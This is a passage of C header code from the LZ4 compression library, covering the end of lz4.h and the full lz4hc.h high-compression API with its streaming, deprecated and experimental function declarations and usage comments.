* Several assumptions are made about the state of the dictionary stream.
* Currently, only streams which have been prepared by LZ4_loadDict() should
* be expected to work.
*
* Alternatively, the provided dictionaryStream may be NULL,
* in which case any existing dictionary stream is unset.
*
* If a dictionary is provided, it replaces any pre-existing stream history.
* The dictionary contents are the only history that can be referenced and
* logically immediately precede the data compressed in the first subsequent
* compression call.
*
* The dictionary will only remain attached to the working stream through the
* first compression call, at the end of which it is cleared. The dictionary
* stream (and source buffer) must remain in-place / accessible / unchanged
* through the completion of the first compression call on the stream.
*/
LZ4LIB_STATIC_API void
LZ4_attach_dictionary(LZ4_stream_t* workingStream,
const LZ4_stream_t* dictionaryStream);
/*! In-place compression and decompression
*
* It's possible to have input and output sharing the same buffer,
* for highly constrained memory environments.
* In both cases, it requires input to lay at the end of the buffer,
* and decompression to start at beginning of the buffer.
* Buffer size must feature some margin, hence be larger than final size.
*
* |<------------------------buffer--------------------------------->|
* |<-----------compressed data--------->|
* |<-----------decompressed size------------------>|
* |<----margin---->|
*
* This technique is more useful for decompression,
* since decompressed size is typically larger,
* and margin is short.
*
* In-place decompression will work inside any buffer
* which size is >= LZ4_DECOMPRESS_INPLACE_BUFFER_SIZE(decompressedSize).
* This presumes that decompressedSize > compressedSize.
* Otherwise, it means compression actually expanded data,
* and it would be more efficient to store such data with a flag indicating it's not compressed.
* This can happen when data is not compressible (already compressed, or encrypted).
*
* For in-place compression, margin is larger, as it must be able to cope with both
* history preservation, requiring input data to remain unmodified up to LZ4_DISTANCE_MAX,
* and data expansion, which can happen when input is not compressible.
* As a consequence, buffer size requirements are much higher,
* and memory savings offered by in-place compression are more limited.
*
* There are ways to limit this cost for compression :
* - Reduce history size, by modifying LZ4_DISTANCE_MAX.
* Note that it is a compile-time constant, so all compressions will apply this limit.
* Lower values will reduce compression ratio, except when input_size < LZ4_DISTANCE_MAX,
* so it's a reasonable trick when inputs are known to be small.
* - Require the compressor to deliver a "maximum compressed size".
* This is the `dstCapacity` parameter in `LZ4_compress*()`.
* When this size is < LZ4_COMPRESSBOUND(inputSize), then compression can fail,
* in which case, the return code will be 0 (zero).
* The caller must be ready for these cases to happen,
* and typically design a backup scheme to send data uncompressed.
* The combination of both techniques can significantly reduce
* the amount of margin required for in-place compression.
*
* In-place compression can work in any buffer
* which size is >= (maxCompressedSize)
* with maxCompressedSize == LZ4_COMPRESSBOUND(srcSize) for guaranteed compression success.
* LZ4_COMPRESS_INPLACE_BUFFER_SIZE() depends on both maxCompressedSize and LZ4_DISTANCE_MAX,
* so it's possible to reduce memory requirements by playing with them.
*/
#define LZ4_DECOMPRESS_INPLACE_MARGIN(compressedSize) (((compressedSize) >> 8) + 32)
#define LZ4_DECOMPRESS_INPLACE_BUFFER_SIZE(decompressedSize) ((decompressedSize) + LZ4_DECOMPRESS_INPLACE_MARGIN(decompressedSize)) /**< note: presumes that compressedSize < decompressedSize. note2: margin is overestimated a bit, since it could use compressedSize instead */
#ifndef LZ4_DISTANCE_MAX /* history window size; can be user-defined at compile time */
# define LZ4_DISTANCE_MAX 65535 /* set to maximum value by default */
#endif
#define LZ4_COMPRESS_INPLACE_MARGIN (LZ4_DISTANCE_MAX + 32) /* LZ4_DISTANCE_MAX can be safely replaced by srcSize when it's smaller */
#define LZ4_COMPRESS_INPLACE_BUFFER_SIZE(maxCompressedSize) ((maxCompressedSize) + LZ4_COMPRESS_INPLACE_MARGIN) /**< maxCompressedSize is generally LZ4_COMPRESSBOUND(inputSize), but can be set to any lower value, with the risk that compression can fail (return code 0(zero)) */
#endif /* LZ4_STATIC_3504398509 */
#endif /* LZ4_STATIC_LINKING_ONLY */
#ifndef LZ4_H_98237428734687
#define LZ4_H_98237428734687
/*-************************************************************
* Private Definitions
**************************************************************
* Do not use these definitions directly.
* They are only exposed to allow static allocation of `LZ4_stream_t` and `LZ4_streamDecode_t`.
* Accessing members will expose user code to API and/or ABI break in future versions of the library.
**************************************************************/
#define LZ4_HASHLOG (LZ4_MEMORY_USAGE-2)
#define LZ4_HASHTABLESIZE (1 << LZ4_MEMORY_USAGE)
#define LZ4_HASH_SIZE_U32 (1 << LZ4_HASHLOG) /* required as macro for static allocation */
#if defined(__cplusplus) || (defined (__STDC_VERSION__) && (__STDC_VERSION__ >= 199901L) /* C99 */)
# include <stdint.h>
typedef int8_t LZ4_i8;
typedef uint8_t LZ4_byte;
typedef uint16_t LZ4_u16;
typedef uint32_t LZ4_u32;
#else
typedef signed char LZ4_i8;
typedef unsigned char LZ4_byte;
typedef unsigned short LZ4_u16;
typedef unsigned int LZ4_u32;
#endif
/*! LZ4_stream_t :
* Never ever use below internal definitions directly !
* These definitions are not API/ABI safe, and may change in future versions.
* If you need static allocation, declare or allocate an LZ4_stream_t object.
**/
typedef struct LZ4_stream_t_internal LZ4_stream_t_internal;
struct LZ4_stream_t_internal {
LZ4_u32 hashTable[LZ4_HASH_SIZE_U32];
const LZ4_byte* dictionary;
const LZ4_stream_t_internal* dictCtx;
LZ4_u32 currentOffset;
LZ4_u32 tableType;
LZ4_u32 dictSize;
/* Implicit padding to ensure structure is aligned */
};
#define LZ4_STREAM_MINSIZE ((1UL << LZ4_MEMORY_USAGE) + 32) /* static size, for inter-version compatibility */
union LZ4_stream_u {
char minStateSize[LZ4_STREAM_MINSIZE];
LZ4_stream_t_internal internal_donotuse;
}; /* previously typedef'd to LZ4_stream_t */
/*! LZ4_initStream() : v1.9.0+
* An LZ4_stream_t structure must be initialized at least once.
* This is automatically done when invoking LZ4_createStream(),
* but it's not when the structure is simply declared on stack (for example).
*
* Use LZ4_initStream() to properly initialize a newly declared LZ4_stream_t.
* It can also initialize any arbitrary buffer of sufficient size,
* and will @return a pointer of proper type upon initialization.
*
* Note : initialization fails if size and alignment conditions are not respected.
* In which case, the function will @return NULL.
* Note2: An LZ4_stream_t structure guarantees correct alignment and size.
* Note3: Before v1.9.0, use LZ4_resetStream() instead
**/
LZ4LIB_API LZ4_stream_t* LZ4_initStream (void* buffer, size_t size);
/*! LZ4_streamDecode_t :
* Never ever use below internal definitions directly !
* These definitions are not API/ABI safe, and may change in future versions.
* If you need static allocation, declare or allocate an LZ4_streamDecode_t object.
**/
typedef struct {
const LZ4_byte* externalDict;
const LZ4_byte* prefixEnd;
size_t extDictSize;
size_t prefixSize;
} LZ4_streamDecode_t_internal;
#define LZ4_STREAMDECODE_MINSIZE 32
union LZ4_streamDecode_u {
char minStateSize[LZ4_STREAMDECODE_MINSIZE];
LZ4_streamDecode_t_internal internal_donotuse;
} ; /* previously typedef'd to LZ4_streamDecode_t */
/*-************************************
* Obsolete Functions
**************************************/
/*! Deprecation warnings
*
* Deprecated functions make the compiler generate a warning when invoked.
* This is meant to invite users to update their source code.
* Should deprecation warnings be a problem, it is generally possible to disable them,
* typically with -Wno-deprecated-declarations for gcc
* or _CRT_SECURE_NO_WARNINGS in Visual.
*
* Another method is to define LZ4_DISABLE_DEPRECATE_WARNINGS
* before including the header file.
*/
#ifdef LZ4_DISABLE_DEPRECATE_WARNINGS
# define LZ4_DEPRECATED(message) /* disable deprecation warnings */
#else
# if defined (__cplusplus) && (__cplusplus >= 201402) /* C++14 or greater */
# define LZ4_DEPRECATED(message) [[deprecated(message)]]
# elif defined(_MSC_VER)
# define LZ4_DEPRECATED(message) __declspec(deprecated(message))
# elif defined(__clang__) || (defined(__GNUC__) && (__GNUC__ * 10 + __GNUC_MINOR__ >= 45))
# define LZ4_DEPRECATED(message) __attribute__((deprecated(message)))
# elif defined(__GNUC__) && (__GNUC__ * 10 + __GNUC_MINOR__ >= 31)
# define LZ4_DEPRECATED(message) __attribute__((deprecated))
# else
# pragma message("WARNING: LZ4_DEPRECATED needs custom implementation for this compiler")
# define LZ4_DEPRECATED(message) /* disabled */
# endif
#endif /* LZ4_DISABLE_DEPRECATE_WARNINGS */
/*! Obsolete compression functions (since v1.7.3) */
LZ4_DEPRECATED("use LZ4_compress_default() instead") LZ4LIB_API int LZ4_compress (const char* src, char* dest, int srcSize);
LZ4_DEPRECATED("use LZ4_compress_default() instead") LZ4LIB_API int LZ4_compress_limitedOutput (const char* src, char* dest, int srcSize, int maxOutputSize);
LZ4_DEPRECATED("use LZ4_compress_fast_extState() instead") LZ4LIB_API int LZ4_compress_withState (void* state, const char* source, char* dest, int inputSize);
LZ4_DEPRECATED("use LZ4_compress_fast_extState() instead") LZ4LIB_API int LZ4_compress_limitedOutput_withState (void* state, const char* source, char* dest, int inputSize, int maxOutputSize);
LZ4_DEPRECATED("use LZ4_compress_fast_continue() instead") LZ4LIB_API int LZ4_compress_continue (LZ4_stream_t* LZ4_streamPtr, const char* source, char* dest, int inputSize);
LZ4_DEPRECATED("use LZ4_compress_fast_continue() instead") LZ4LIB_API int LZ4_compress_limitedOutput_continue (LZ4_stream_t* LZ4_streamPtr, const char* source, char* dest, int inputSize, int maxOutputSize);
/*! Obsolete decompression functions (since v1.8.0) */
LZ4_DEPRECATED("use LZ4_decompress_fast() instead") LZ4LIB_API int LZ4_uncompress (const char* source, char* dest, int outputSize);
LZ4_DEPRECATED("use LZ4_decompress_safe() instead") LZ4LIB_API int LZ4_uncompress_unknownOutputSize (const char* source, char* dest, int isize, int maxOutputSize);
/* Obsolete streaming functions (since v1.7.0)
* degraded functionality; do not use!
*
* In order to perform streaming compression, these functions depended on data
* that is no longer tracked in the state. They have been preserved as well as
* possible: using them will still produce a correct output. However, they don't
* actually retain any history between compression calls. The compression ratio
* achieved will therefore be no better than compressing each chunk
* independently.
*/
LZ4_DEPRECATED("Use LZ4_createStream() instead") LZ4LIB_API void* LZ4_create (char* inputBuffer);
LZ4_DEPRECATED("Use LZ4_createStream() instead") LZ4LIB_API int LZ4_sizeofStreamState(void);
LZ4_DEPRECATED("Use LZ4_resetStream() instead") LZ4LIB_API int LZ4_resetStreamState(void* state, char* inputBuffer);
LZ4_DEPRECATED("Use LZ4_saveDict() instead") LZ4LIB_API char* LZ4_slideInputBuffer (void* state);
/*! Obsolete streaming decoding functions (since v1.7.0) */
LZ4_DEPRECATED("use LZ4_decompress_safe_usingDict() instead") LZ4LIB_API int LZ4_decompress_safe_withPrefix64k (const char* src, char* dst, int compressedSize, int maxDstSize);
LZ4_DEPRECATED("use LZ4_decompress_fast_usingDict() instead") LZ4LIB_API int LZ4_decompress_fast_withPrefix64k (const char* src, char* dst, int originalSize);
/*! Obsolete LZ4_decompress_fast variants (since v1.9.0) :
* These functions used to be faster than LZ4_decompress_safe(),
* but this is no longer the case. They are now slower.
* This is because LZ4_decompress_fast() doesn't know the input size,
* and therefore must progress more cautiously into the input buffer to not read beyond the end of block.
* On top of that `LZ4_decompress_fast()` is not protected vs malformed or malicious inputs, making it a security liability.
* As a consequence, LZ4_decompress_fast() is strongly discouraged, and deprecated.
*
* The last remaining LZ4_decompress_fast() specificity is that
* it can decompress a block without knowing its compressed size.
* Such functionality can be achieved in a more secure manner
* by employing LZ4_decompress_safe_partial().
*
* Parameters:
* originalSize : is the uncompressed size to regenerate.
* `dst` must be already allocated, its size must be >= 'originalSize' bytes.
* @return : number of bytes read from source buffer (== compressed size).
* The function expects to finish at block's end exactly.
* If the source stream is detected malformed, the function stops decoding and returns a negative result.
* note : LZ4_decompress_fast*() requires originalSize. Thanks to this information, it never writes past the output buffer.
* However, since it doesn't know its 'src' size, it may read an unknown amount of input, past input buffer bounds.
* Also, since match offsets are not validated, match reads from 'src' may underflow too.
* These issues never happen if input (compressed) data is correct.
* But they may happen if input data is invalid (error or intentional tampering).
* As a consequence, use these functions in trusted environments with trusted data **only**.
*/
LZ4_DEPRECATED("This function is deprecated and unsafe. Consider using LZ4_decompress_safe() instead")
LZ4LIB_API int LZ4_decompress_fast (const char* src, char* dst, int originalSize);
LZ4_DEPRECATED("This function is deprecated and unsafe. Consider using LZ4_decompress_safe_continue() instead")
LZ4LIB_API int LZ4_decompress_fast_continue (LZ4_streamDecode_t* LZ4_streamDecode, const char* src, char* dst, int originalSize);
LZ4_DEPRECATED("This function is deprecated and unsafe. Consider using LZ4_decompress_safe_usingDict() instead")
LZ4LIB_API int LZ4_decompress_fast_usingDict (const char* src, char* dst, int originalSize, const char* dictStart, int dictSize);
/*! LZ4_resetStream() :
* An LZ4_stream_t structure must be initialized at least once.
* This is done with LZ4_initStream(), or LZ4_resetStream().
* Consider switching to LZ4_initStream(),
* invoking LZ4_resetStream() will trigger deprecation warnings in the future.
*/
LZ4LIB_API void LZ4_resetStream (LZ4_stream_t* streamPtr);
#endif /* LZ4_H_98237428734687 */
#if defined (__cplusplus)
}
#endif
+413
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/*
LZ4 HC - High Compression Mode of LZ4
Header File
Copyright (C) 2011-2020, Yann Collet.
BSD 2-Clause License (http://www.opensource.org/licenses/bsd-license.php)
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are
met:
* Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above
copyright notice, this list of conditions and the following disclaimer
in the documentation and/or other materials provided with the
distribution.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
You can contact the author at :
- LZ4 source repository : https://github.com/lz4/lz4
- LZ4 public forum : https://groups.google.com/forum/#!forum/lz4c
*/
#ifndef LZ4_HC_H_19834876238432
#define LZ4_HC_H_19834876238432
#if defined (__cplusplus)
extern "C" {
#endif
/* --- Dependency --- */
/* note : lz4hc requires lz4.h/lz4.c for compilation */
#include "lz4.h" /* stddef, LZ4LIB_API, LZ4_DEPRECATED */
/* --- Useful constants --- */
#define LZ4HC_CLEVEL_MIN 3
#define LZ4HC_CLEVEL_DEFAULT 9
#define LZ4HC_CLEVEL_OPT_MIN 10
#define LZ4HC_CLEVEL_MAX 12
/*-************************************
* Block Compression
**************************************/
/*! LZ4_compress_HC() :
* Compress data from `src` into `dst`, using the powerful but slower "HC" algorithm.
* `dst` must be already allocated.
* Compression is guaranteed to succeed if `dstCapacity >= LZ4_compressBound(srcSize)` (see "lz4.h")
* Max supported `srcSize` value is LZ4_MAX_INPUT_SIZE (see "lz4.h")
* `compressionLevel` : any value between 1 and LZ4HC_CLEVEL_MAX will work.
* Values > LZ4HC_CLEVEL_MAX behave the same as LZ4HC_CLEVEL_MAX.
* @return : the number of bytes written into 'dst'
* or 0 if compression fails.
*/
LZ4LIB_API int LZ4_compress_HC (const char* src, char* dst, int srcSize, int dstCapacity, int compressionLevel);
/* Note :
* Decompression functions are provided within "lz4.h" (BSD license)
*/
/*! LZ4_compress_HC_extStateHC() :
* Same as LZ4_compress_HC(), but using an externally allocated memory segment for `state`.
* `state` size is provided by LZ4_sizeofStateHC().
* Memory segment must be aligned on 8-bytes boundaries (which a normal malloc() should do properly).
*/
LZ4LIB_API int LZ4_sizeofStateHC(void);
LZ4LIB_API int LZ4_compress_HC_extStateHC(void* stateHC, const char* src, char* dst, int srcSize, int maxDstSize, int compressionLevel);
/*! LZ4_compress_HC_destSize() : v1.9.0+
* Will compress as much data as possible from `src`
* to fit into `targetDstSize` budget.
* Result is provided in 2 parts :
* @return : the number of bytes written into 'dst' (necessarily <= targetDstSize)
* or 0 if compression fails.
* `srcSizePtr` : on success, *srcSizePtr is updated to indicate how much bytes were read from `src`
*/
LZ4LIB_API int LZ4_compress_HC_destSize(void* stateHC,
const char* src, char* dst,
int* srcSizePtr, int targetDstSize,
int compressionLevel);
/*-************************************
* Streaming Compression
* Bufferless synchronous API
**************************************/
typedef union LZ4_streamHC_u LZ4_streamHC_t; /* incomplete type (defined later) */
/*! LZ4_createStreamHC() and LZ4_freeStreamHC() :
* These functions create and release memory for LZ4 HC streaming state.
* Newly created states are automatically initialized.
* A same state can be used multiple times consecutively,
* starting with LZ4_resetStreamHC_fast() to start a new stream of blocks.
*/
LZ4LIB_API LZ4_streamHC_t* LZ4_createStreamHC(void);
LZ4LIB_API int LZ4_freeStreamHC (LZ4_streamHC_t* streamHCPtr);
/*
These functions compress data in successive blocks of any size,
using previous blocks as dictionary, to improve compression ratio.
One key assumption is that previous blocks (up to 64 KB) remain read-accessible while compressing next blocks.
There is an exception for ring buffers, which can be smaller than 64 KB.
Ring-buffer scenario is automatically detected and handled within LZ4_compress_HC_continue().
Before starting compression, state must be allocated and properly initialized.
LZ4_createStreamHC() does both, though compression level is set to LZ4HC_CLEVEL_DEFAULT.
Selecting the compression level can be done with LZ4_resetStreamHC_fast() (starts a new stream)
or LZ4_setCompressionLevel() (anytime, between blocks in the same stream) (experimental).
LZ4_resetStreamHC_fast() only works on states which have been properly initialized at least once,
which is automatically the case when state is created using LZ4_createStreamHC().
After reset, a first "fictional block" can be designated as initial dictionary,
using LZ4_loadDictHC() (Optional).
Invoke LZ4_compress_HC_continue() to compress each successive block.
The number of blocks is unlimited.
Previous input blocks, including initial dictionary when present,
must remain accessible and unmodified during compression.
It's allowed to update compression level anytime between blocks,
using LZ4_setCompressionLevel() (experimental).
'dst' buffer should be sized to handle worst case scenarios
(see LZ4_compressBound(), it ensures compression success).
In case of failure, the API does not guarantee recovery,
so the state _must_ be reset.
To ensure compression success
whenever `dst` buffer size cannot be made >= LZ4_compressBound(),
consider using LZ4_compress_HC_continue_destSize().
Whenever previous input blocks can't be preserved unmodified in-place during compression of next blocks,
it's possible to copy the last blocks into a more stable memory space, using LZ4_saveDictHC().
Return value of LZ4_saveDictHC() is the size of dictionary effectively saved into 'safeBuffer' (<= 64 KB)
After completing a streaming compression,
it's possible to start a new stream of blocks, using the same LZ4_streamHC_t state,
just by resetting it, using LZ4_resetStreamHC_fast().
*/
LZ4LIB_API void LZ4_resetStreamHC_fast(LZ4_streamHC_t* streamHCPtr, int compressionLevel); /* v1.9.0+ */
LZ4LIB_API int LZ4_loadDictHC (LZ4_streamHC_t* streamHCPtr, const char* dictionary, int dictSize);
LZ4LIB_API int LZ4_compress_HC_continue (LZ4_streamHC_t* streamHCPtr,
const char* src, char* dst,
int srcSize, int maxDstSize);
/*! LZ4_compress_HC_continue_destSize() : v1.9.0+
* Similar to LZ4_compress_HC_continue(),
* but will read as much data as possible from `src`
* to fit into `targetDstSize` budget.
* Result is provided into 2 parts :
* @return : the number of bytes written into 'dst' (necessarily <= targetDstSize)
* or 0 if compression fails.
* `srcSizePtr` : on success, *srcSizePtr will be updated to indicate how much bytes were read from `src`.
* Note that this function may not consume the entire input.
*/
LZ4LIB_API int LZ4_compress_HC_continue_destSize(LZ4_streamHC_t* LZ4_streamHCPtr,
const char* src, char* dst,
int* srcSizePtr, int targetDstSize);
LZ4LIB_API int LZ4_saveDictHC (LZ4_streamHC_t* streamHCPtr, char* safeBuffer, int maxDictSize);
/*^**********************************************
* !!!!!! STATIC LINKING ONLY !!!!!!
***********************************************/
/*-******************************************************************
* PRIVATE DEFINITIONS :
* Do not use these definitions directly.
* They are merely exposed to allow static allocation of `LZ4_streamHC_t`.
* Declare an `LZ4_streamHC_t` directly, rather than any type below.
* Even then, only do so in the context of static linking, as definitions may change between versions.
********************************************************************/
#define LZ4HC_DICTIONARY_LOGSIZE 16
#define LZ4HC_MAXD (1<<LZ4HC_DICTIONARY_LOGSIZE)
#define LZ4HC_MAXD_MASK (LZ4HC_MAXD - 1)
#define LZ4HC_HASH_LOG 15
#define LZ4HC_HASHTABLESIZE (1 << LZ4HC_HASH_LOG)
#define LZ4HC_HASH_MASK (LZ4HC_HASHTABLESIZE - 1)
/* Never ever use these definitions directly !
* Declare or allocate an LZ4_streamHC_t instead.
**/
typedef struct LZ4HC_CCtx_internal LZ4HC_CCtx_internal;
struct LZ4HC_CCtx_internal
{
LZ4_u32 hashTable[LZ4HC_HASHTABLESIZE];
LZ4_u16 chainTable[LZ4HC_MAXD];
const LZ4_byte* end; /* next block here to continue on current prefix */
const LZ4_byte* prefixStart; /* Indexes relative to this position */
const LZ4_byte* dictStart; /* alternate reference for extDict */
LZ4_u32 dictLimit; /* below that point, need extDict */
LZ4_u32 lowLimit; /* below that point, no more dict */
LZ4_u32 nextToUpdate; /* index from which to continue dictionary update */
short compressionLevel;
LZ4_i8 favorDecSpeed; /* favor decompression speed if this flag set,
otherwise, favor compression ratio */
LZ4_i8 dirty; /* stream has to be fully reset if this flag is set */
const LZ4HC_CCtx_internal* dictCtx;
};
#define LZ4_STREAMHC_MINSIZE 262200 /* static size, for inter-version compatibility */
union LZ4_streamHC_u {
char minStateSize[LZ4_STREAMHC_MINSIZE];
LZ4HC_CCtx_internal internal_donotuse;
}; /* previously typedef'd to LZ4_streamHC_t */
/* LZ4_streamHC_t :
* This structure allows static allocation of LZ4 HC streaming state.
* This can be used to allocate statically on stack, or as part of a larger structure.
*
* Such state **must** be initialized using LZ4_initStreamHC() before first use.
*
* Note that invoking LZ4_initStreamHC() is not required when
* the state was created using LZ4_createStreamHC() (which is recommended).
* Using the normal builder, a newly created state is automatically initialized.
*
* Static allocation shall only be used in combination with static linking.
*/
/* LZ4_initStreamHC() : v1.9.0+
* Required before first use of a statically allocated LZ4_streamHC_t.
* Before v1.9.0 : use LZ4_resetStreamHC() instead
*/
LZ4LIB_API LZ4_streamHC_t* LZ4_initStreamHC(void* buffer, size_t size);
/*-************************************
* Deprecated Functions
**************************************/
/* see lz4.h LZ4_DISABLE_DEPRECATE_WARNINGS to turn off deprecation warnings */
/* deprecated compression functions */
LZ4_DEPRECATED("use LZ4_compress_HC() instead") LZ4LIB_API int LZ4_compressHC (const char* source, char* dest, int inputSize);
LZ4_DEPRECATED("use LZ4_compress_HC() instead") LZ4LIB_API int LZ4_compressHC_limitedOutput (const char* source, char* dest, int inputSize, int maxOutputSize);
LZ4_DEPRECATED("use LZ4_compress_HC() instead") LZ4LIB_API int LZ4_compressHC2 (const char* source, char* dest, int inputSize, int compressionLevel);
LZ4_DEPRECATED("use LZ4_compress_HC() instead") LZ4LIB_API int LZ4_compressHC2_limitedOutput(const char* source, char* dest, int inputSize, int maxOutputSize, int compressionLevel);
LZ4_DEPRECATED("use LZ4_compress_HC_extStateHC() instead") LZ4LIB_API int LZ4_compressHC_withStateHC (void* state, const char* source, char* dest, int inputSize);
LZ4_DEPRECATED("use LZ4_compress_HC_extStateHC() instead") LZ4LIB_API int LZ4_compressHC_limitedOutput_withStateHC (void* state, const char* source, char* dest, int inputSize, int maxOutputSize);
LZ4_DEPRECATED("use LZ4_compress_HC_extStateHC() instead") LZ4LIB_API int LZ4_compressHC2_withStateHC (void* state, const char* source, char* dest, int inputSize, int compressionLevel);
LZ4_DEPRECATED("use LZ4_compress_HC_extStateHC() instead") LZ4LIB_API int LZ4_compressHC2_limitedOutput_withStateHC(void* state, const char* source, char* dest, int inputSize, int maxOutputSize, int compressionLevel);
LZ4_DEPRECATED("use LZ4_compress_HC_continue() instead") LZ4LIB_API int LZ4_compressHC_continue (LZ4_streamHC_t* LZ4_streamHCPtr, const char* source, char* dest, int inputSize);
LZ4_DEPRECATED("use LZ4_compress_HC_continue() instead") LZ4LIB_API int LZ4_compressHC_limitedOutput_continue (LZ4_streamHC_t* LZ4_streamHCPtr, const char* source, char* dest, int inputSize, int maxOutputSize);
/* Obsolete streaming functions; degraded functionality; do not use!
*
* In order to perform streaming compression, these functions depended on data
* that is no longer tracked in the state. They have been preserved as well as
* possible: using them will still produce a correct output. However, use of
* LZ4_slideInputBufferHC() will truncate the history of the stream, rather
* than preserve a window-sized chunk of history.
*/
#if !defined(LZ4_STATIC_LINKING_ONLY_DISABLE_MEMORY_ALLOCATION)
LZ4_DEPRECATED("use LZ4_createStreamHC() instead") LZ4LIB_API void* LZ4_createHC (const char* inputBuffer);
LZ4_DEPRECATED("use LZ4_freeStreamHC() instead") LZ4LIB_API int LZ4_freeHC (void* LZ4HC_Data);
#endif
LZ4_DEPRECATED("use LZ4_saveDictHC() instead") LZ4LIB_API char* LZ4_slideInputBufferHC (void* LZ4HC_Data);
LZ4_DEPRECATED("use LZ4_compress_HC_continue() instead") LZ4LIB_API int LZ4_compressHC2_continue (void* LZ4HC_Data, const char* source, char* dest, int inputSize, int compressionLevel);
LZ4_DEPRECATED("use LZ4_compress_HC_continue() instead") LZ4LIB_API int LZ4_compressHC2_limitedOutput_continue (void* LZ4HC_Data, const char* source, char* dest, int inputSize, int maxOutputSize, int compressionLevel);
LZ4_DEPRECATED("use LZ4_createStreamHC() instead") LZ4LIB_API int LZ4_sizeofStreamStateHC(void);
LZ4_DEPRECATED("use LZ4_initStreamHC() instead") LZ4LIB_API int LZ4_resetStreamStateHC(void* state, char* inputBuffer);
/* LZ4_resetStreamHC() is now replaced by LZ4_initStreamHC().
* The intention is to emphasize the difference with LZ4_resetStreamHC_fast(),
* which is now the recommended function to start a new stream of blocks,
* but cannot be used to initialize a memory segment containing arbitrary garbage data.
*
* It is recommended to switch to LZ4_initStreamHC().
* LZ4_resetStreamHC() will generate deprecation warnings in a future version.
*/
LZ4LIB_API void LZ4_resetStreamHC (LZ4_streamHC_t* streamHCPtr, int compressionLevel);
#if defined (__cplusplus)
}
#endif
#endif /* LZ4_HC_H_19834876238432 */
/*-**************************************************
* !!!!! STATIC LINKING ONLY !!!!!
* Following definitions are considered experimental.
* They should not be linked from DLL,
* as there is no guarantee of API stability yet.
* Prototypes will be promoted to "stable" status
* after successful usage in real-life scenarios.
***************************************************/
#ifdef LZ4_HC_STATIC_LINKING_ONLY /* protection macro */
#ifndef LZ4_HC_SLO_098092834
#define LZ4_HC_SLO_098092834
#define LZ4_STATIC_LINKING_ONLY /* LZ4LIB_STATIC_API */
#include "lz4.h"
#if defined (__cplusplus)
extern "C" {
#endif
/*! LZ4_setCompressionLevel() : v1.8.0+ (experimental)
* It's possible to change compression level
* between successive invocations of LZ4_compress_HC_continue*()
* for dynamic adaptation.
*/
LZ4LIB_STATIC_API void LZ4_setCompressionLevel(
LZ4_streamHC_t* LZ4_streamHCPtr, int compressionLevel);
/*! LZ4_favorDecompressionSpeed() : v1.8.2+ (experimental)
* Opt. Parser will favor decompression speed over compression ratio.
* Only applicable to levels >= LZ4HC_CLEVEL_OPT_MIN.
*/
LZ4LIB_STATIC_API void LZ4_favorDecompressionSpeed(
LZ4_streamHC_t* LZ4_streamHCPtr, int favor);
/*! LZ4_resetStreamHC_fast() : v1.9.0+
* When an LZ4_streamHC_t is known to be in a internally coherent state,
* it can often be prepared for a new compression with almost no work, only
* sometimes falling back to the full, expensive reset that is always required
* when the stream is in an indeterminate state (i.e., the reset performed by
* LZ4_resetStreamHC()).
*
* LZ4_streamHCs are guaranteed to be in a valid state when:
* - returned from LZ4_createStreamHC()
* - reset by LZ4_resetStreamHC()
* - memset(stream, 0, sizeof(LZ4_streamHC_t))
* - the stream was in a valid state and was reset by LZ4_resetStreamHC_fast()
* - the stream was in a valid state and was then used in any compression call
* that returned success
* - the stream was in an indeterminate state and was used in a compression
* call that fully reset the state (LZ4_compress_HC_extStateHC()) and that
* returned success
*
* Note:
* A stream that was last used in a compression call that returned an error
* may be passed to this function. However, it will be fully reset, which will
* clear any existing history and settings from the context.
*/
LZ4LIB_STATIC_API void LZ4_resetStreamHC_fast(
LZ4_streamHC_t* LZ4_streamHCPtr, int compressionLevel);
/*! LZ4_compress_HC_extStateHC_fastReset() :
* A variant of LZ4_compress_HC_extStateHC().
*
* Using this variant avoids an expensive initialization step. It is only safe
* to call if the state buffer is known to be correctly initialized already
* (see above comment on LZ4_resetStreamHC_fast() for a definition of
* "correctly initialized"). From a high level, the difference is that this
* function initializes the provided state with a call to
* LZ4_resetStreamHC_fast() while LZ4_compress_HC_extStateHC() starts with a
* call to LZ4_resetStreamHC().
*/
LZ4LIB_STATIC_API int LZ4_compress_HC_extStateHC_fastReset (
void* state,
const char* src, char* dst,
int srcSize, int dstCapacity,
int compressionLevel);
/*! LZ4_attach_HC_dictionary() :
* This is an experimental API that allows for the efficient use of a
* static dictionary many times.
*
* Rather than re-loading the dictionary buffer into a working context before
* each compression, or copying a pre-loaded dictionary's LZ4_streamHC_t into a
* working LZ4_streamHC_t, this function introduces a no-copy setup mechanism,
* in which the working stream references the dictionary stream in-place.
*
* Several assumptions are made about the state of the dictionary stream.
* Currently, only streams which have been prepared by LZ4_loadDictHC() should
* be expected to work.
*
* Alternatively, the provided dictionary stream pointer may be NULL, in which
* case any existing dictionary stream is unset.
*
* A dictionary should only be attached to a stream without any history (i.e.,
* a stream that has just been reset).
*
* The dictionary will remain attached to the working stream only for the
* current stream session. Calls to LZ4_resetStreamHC(_fast) will remove the
* dictionary context association from the working stream. The dictionary
* stream (and source buffer) must remain in-place / accessible / unchanged
* through the lifetime of the stream session.
*/
LZ4LIB_STATIC_API void LZ4_attach_HC_dictionary(
LZ4_streamHC_t *working_stream,
const LZ4_streamHC_t *dictionary_stream);
#if defined (__cplusplus)
}
#endif
#endif /* LZ4_HC_SLO_098092834 */
#endif /* LZ4_HC_STATIC_LINKING_ONLY */
+75
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/*
